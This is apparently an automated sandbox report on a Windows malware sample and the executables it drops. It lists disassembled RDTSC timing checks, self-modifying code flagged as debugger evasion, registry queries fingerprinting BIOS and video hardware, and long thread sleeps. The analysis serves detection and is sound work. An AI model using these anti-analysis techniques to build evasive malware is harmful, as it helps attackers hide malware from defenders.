Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA06F7 second address: 4AA0733 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4EBC76DA09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c jmp 00007F4EBC76D9FCh 0x00000011 mov ax, 8471h 0x00000015 popad 0x00000016 and esp, FFFFFFF8h 0x00000019 pushad 0x0000001a mov ch, 50h 0x0000001c push eax 0x0000001d push edx 0x0000001e movsx ebx, ax 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA0733 second address: 4AA0759 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ebx 0x00000008 pushad 0x00000009 movzx esi, bx 0x0000000c mov cx, bx 0x0000000f popad 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F4EBCE5EB93h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA0759 second address: 4AA079D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4EBC76DA09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a jmp 00007F4EBC76D9FEh 0x0000000f xchg eax, esi 0x00000010 jmp 00007F4EBC76DA00h 0x00000015 push eax 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA079D second address: 4AA07A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA07A1 second address: 4AA07A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA07A7 second address: 4AA07B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop esi 0x00000005 push ebx 0x00000006 pop ecx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, esi 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA07B8 second address: 4AA07CC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4EBC76DA00h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA07CC second address: 4AA07D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA07D2 second address: 4AA080D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, dword ptr [ebp+08h] 0x0000000b pushad 0x0000000c mov dx, 681Ah 0x00000010 push eax 0x00000011 push edx 0x00000012 pushfd 0x00000013 jmp 00007F4EBC76DA01h 0x00000018 or cx, 1A96h 0x0000001d jmp 00007F4EBC76DA01h 0x00000022 popfd 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA080D second address: 4AA0875 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F4EBCE5EB90h 0x00000008 add ecx, 1844FAB8h 0x0000000e jmp 00007F4EBCE5EB8Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 sub ebx, ebx 0x00000019 jmp 00007F4EBCE5EB8Fh 0x0000001e test esi, esi 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 pushfd 0x00000024 jmp 00007F4EBCE5EB8Bh 0x00000029 add cl, 0000002Eh 0x0000002c jmp 00007F4EBCE5EB99h 0x00000031 popfd 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA0875 second address: 4AA08A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, eax 0x00000005 call 00007F4EBC76DA06h 0x0000000a pop ecx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e je 00007F4F2F0734F0h 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F4EBC76D9FCh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA08A8 second address: 4AA08AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA08AE second address: 4AA08B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA08B2 second address: 4AA08B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA08B6 second address: 4AA08E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 mov ch, 0Ch 0x00000014 jmp 00007F4EBC76DA07h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA08E2 second address: 4AA08E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA0A82 second address: 4AA0A8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov cx, D6A3h 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA0A8B second address: 4AA0AD6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4EBCE5EB99h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d movsx edi, ax 0x00000010 pushfd 0x00000011 jmp 00007F4EBCE5EB94h 0x00000016 add si, BA48h 0x0000001b jmp 00007F4EBCE5EB8Bh 0x00000020 popfd 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AB0CAB second address: 4AB0CC2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4EBC76D9FCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AB0CC2 second address: 4AB0CC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AB0CC6 second address: 4AB0CCA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AB0CCA second address: 4AB0CD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AB0CD0 second address: 4AB0D0F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, ax 0x00000006 call 00007F4EBC76D9FEh 0x0000000b pop esi 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 pushad 0x00000011 movzx esi, dx 0x00000014 mov edi, 6E841B7Eh 0x00000019 popad 0x0000001a xchg eax, ebp 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F4EBC76DA07h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AB0D0F second address: 4AB0D13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AB0D13 second address: 4AB0D19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AB0A60 second address: 4AB0A64 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AB0A64 second address: 4AB0A6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AB0A6A second address: 4AB0A9F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4EBCE5EB8Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F4EBCE5EB90h 0x0000000f push eax 0x00000010 jmp 00007F4EBCE5EB8Bh 0x00000015 xchg eax, ebp 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AB0A9F second address: 4AB0B1E instructions: 0x00000000 rdtsc 0x00000002 mov ch, 4Ch 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F4EBC76D9FDh 0x0000000b popad 0x0000000c mov ebp, esp 0x0000000e pushad 0x0000000f push esi 0x00000010 pushfd 0x00000011 jmp 00007F4EBC76DA03h 0x00000016 and eax, 5F8594EEh 0x0000001c jmp 00007F4EBC76DA09h 0x00000021 popfd 0x00000022 pop ecx 0x00000023 pushfd 0x00000024 jmp 00007F4EBC76DA01h 0x00000029 add esi, 477C2D26h 0x0000002f jmp 00007F4EBC76DA01h 0x00000034 popfd 0x00000035 popad 0x00000036 pop ebp 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b pushad 0x0000003c popad 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AB0B1E second address: 4AB0B22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AB0B22 second address: 4AB0B28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AB0B28 second address: 4AB0B2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AB0B2E second address: 4AB0B32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B30645 second address: 4B3064B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B3064B second address: 4B3064F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B3064F second address: 4B3068E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov edx, 5948D6FCh 0x00000011 pushfd 0x00000012 jmp 00007F4EBCE5EB95h 0x00000017 add si, 7A56h 0x0000001c jmp 00007F4EBCE5EB91h 0x00000021 popfd 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B3068E second address: 4B3069E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4EBC76D9FCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B3069E second address: 4B306A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B306A2 second address: 4B306DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b jmp 00007F4EBC76DA07h 0x00000010 mov ebp, esp 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F4EBC76DA05h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B306DD second address: 4B306ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4EBCE5EB8Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B20A92 second address: 4B20AB8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4EBC76D9FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F4EBC76DA04h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B20AB8 second address: 4B20AF5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F4EBCE5EB91h 0x00000009 sbb esi, 42AE7CD6h 0x0000000f jmp 00007F4EBCE5EB91h 0x00000014 popfd 0x00000015 push eax 0x00000016 pop ebx 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, ebp 0x0000001b pushad 0x0000001c mov ecx, 5F8AA93Fh 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B20AF5 second address: 4B20AF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B208A8 second address: 4B208AE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B208AE second address: 4B208C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4EBC76DA02h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B208C4 second address: 4B208D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov bx, ax 0x0000000f push ecx 0x00000010 pop edi 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AC0133 second address: 4AC0173 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F4EBC76DA08h 0x00000008 adc cl, FFFFFFD8h 0x0000000b jmp 00007F4EBC76D9FBh 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 popad 0x00000014 xchg eax, ebp 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F4EBC76DA00h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AC0173 second address: 4AC0179 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AC0179 second address: 4AC017D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B20D53 second address: 4B20D66 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov al, 9Dh 0x00000005 mov si, dx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B20D66 second address: 4B20D6C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B20D6C second address: 4B20DB8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F4EBCE5EB97h 0x00000009 sbb cl, 0000001Eh 0x0000000c jmp 00007F4EBCE5EB99h 0x00000011 popfd 0x00000012 mov di, si 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push dword ptr [ebp+0Ch] 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e mov bx, 4D8Ah 0x00000022 mov cx, dx 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B20DB8 second address: 4B20DBE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B20DBE second address: 4B20DC2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DAEB0 second address: 8DAEB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DAEB4 second address: 8DAEBD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 72EB2A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 72EC4E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 8F4C1D instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 8D55D2 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 9587A5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 48EB2A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 48EC4E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 654C1D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 6355D2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 6B87A5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	Special instruction interceptor: First address: 15E48D7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe	Special instruction interceptor: First address: 181DE60 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Special instruction interceptor: First address: 94CB3A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Special instruction interceptor: First address: 94CBBA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Special instruction interceptor: First address: 94CB60 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Special instruction interceptor: First address: AF36F9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Special instruction interceptor: First address: B03632 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Special instruction interceptor: First address: B7C5AE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe	Special instruction interceptor: First address: D1FA67 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe	Special instruction interceptor: First address: D1FB36 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe	Special instruction interceptor: First address: D1D3E2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe	Special instruction interceptor: First address: ED1DCE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007937001\643ebf15b8.exe	Special instruction interceptor: First address: D1FA25 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe	Special instruction interceptor: First address: F5DC9D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe	Special instruction interceptor: First address: 11113F2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe	Special instruction interceptor: First address: 11A046B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Special instruction interceptor: First address: 66BDC9D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Special instruction interceptor: First address: 68713F2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe	Special instruction interceptor: First address: 690046B instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe	Memory allocated: 5340000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe	Memory allocated: 54D0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe	Memory allocated: 74D0000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04B20CB2 rdtsc

0_2_04B20CB2

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1565	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1742	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1570	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 375	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe	Window / User API: threadDelayed 407

Source: C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe

API coverage: 3.5 %

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7072	Thread sleep count: 49 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7072	Thread sleep time: -98049s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2444	Thread sleep count: 46 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2444	Thread sleep time: -92046s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5712	Thread sleep count: 290 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5712	Thread sleep time: -8700000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5936	Thread sleep count: 1565 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5936	Thread sleep time: -3131565s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2704	Thread sleep count: 50 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2704	Thread sleep time: -100050s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5684	Thread sleep count: 1742 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5684	Thread sleep time: -3485742s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2136	Thread sleep count: 1570 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2136	Thread sleep time: -3141570s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2188	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3040	Thread sleep count: 375 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3040	Thread sleep time: -750375s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe TID: 7064	Thread sleep time: -40020s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe TID: 5996	Thread sleep time: -48024s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe TID: 7028	Thread sleep time: -48024s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe TID: 340	Thread sleep time: -50025s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007935001\472fe34b96.exe TID: 4460	Thread sleep time: -40020s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe TID: 1208	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe TID: 6856	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe TID: 972	Thread sleep time: -42021s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe TID: 3172	Thread sleep time: -210000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe TID: 4824	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe TID: 4988	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe TID: 6184	Thread sleep time: -30000s >= -30000s
